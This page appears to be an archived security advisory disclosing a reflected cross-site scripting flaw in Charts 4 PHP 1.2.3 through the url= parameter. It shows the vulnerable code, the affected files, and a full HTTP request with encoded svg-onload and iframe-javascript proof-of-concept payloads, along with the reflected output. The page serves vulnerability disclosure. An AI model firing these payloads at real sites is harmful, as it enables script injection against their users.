exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Charts 4 PHP 1.2.3 Cross Site Scripting

Charts 4 PHP 1.2.3 Cross Site Scripting
Posted Feb 8, 2016
Authored by 1N3

Charts 4 PHP version 1.2.3 suffers from a cross site scripting vulnerability.

tags | exploit, php, xss
SHA-256 | 9f52771a595d4f701fedd8c6ec11273b06d58e6e9c1035201c77176077d21fdd

Charts 4 PHP 1.2.3 Cross Site Scripting

Change Mirror Download
# Exploit Title: Charts 4 PHP 1.2.3 Cross Site Scripting
# Date: 2016/2/7
# Researcher: 1N3 @CrowdShield - https://crowdshield.com
# Vendor Homepage: http://www.chartphp.com
# Software Link: http://www.chartphp.com
# Version: 1.2.3
# CVE : N/A

+- --=[Description:
Charts 4 PHP version 1.2.3 is vulnerable to multiple reflected cross-site scripting vulnerabilities due to a failure to sanitize user input in several default pages via the url= parameter.

+- --=[Affected Params:
url=

+- --=[Bug Evidence:

VULNERABLE CODE:
Userinput is passed through function parameters.

9: ⇑ $rss = fetch_rss ($url);
6: $url = $_GET['url'];

requires:
8: if($url)

Vulnerability is also triggered in:
/crowdshield/charts4php/bootstrap/rss/scripts/magpie_debug.php
/crowdshield/charts4php/bootstrap/rss/scripts/simple_smarty.php
/crowdshield/charts4php/bootstrap/rss/scripts/magpie_slashbox.php
/crowdshield/charts4php/bootstrap/rss/rss_fetch.inc
/crowdshield/charts4php/bootstrap/rss/rss_parse.inc


HTTP REQUEST:

GET /charts4php/bootstrap/rss/scripts/magpie_simple.php?url=%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E%27%22--+ HTTP/1.1
Host: host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://crowdshield.com/charts4php/bootstrap/rss/scripts/magpie_simple.php?url=%3Ciframe+src%3D%22+javascript%3Aalert%28%27https%3A%2F%2Fcrowdshield.com%27%29%3B%22%3E%3C%2Fiframe%3E+
Cookie: __cfduid=d89da9abfef7f775eadafcdc1008eac6b1454814806; __utma=242435792.1300894982.1454814681.1454885335.1454891081.5; __utmz=242435792.1454814681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.1300894982.1454814681; __atuvc=1%7C5%2C5%7C6; PHPSESSID=qlct9igheoh2ofg7bo8g8ss691; __utmb=242435792.31.10.1454891081; __utmc=242435792; __atuvs=56b7e04adb06138a001
Connection: close

Channel: <p><ul></ul>
<form>
RSS URL: <input type="text" size="30" name="url" value=""><svg/onload=alert(1)>'"-- "><br />
<input type="submit" value="Parse RSS">
</form>
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close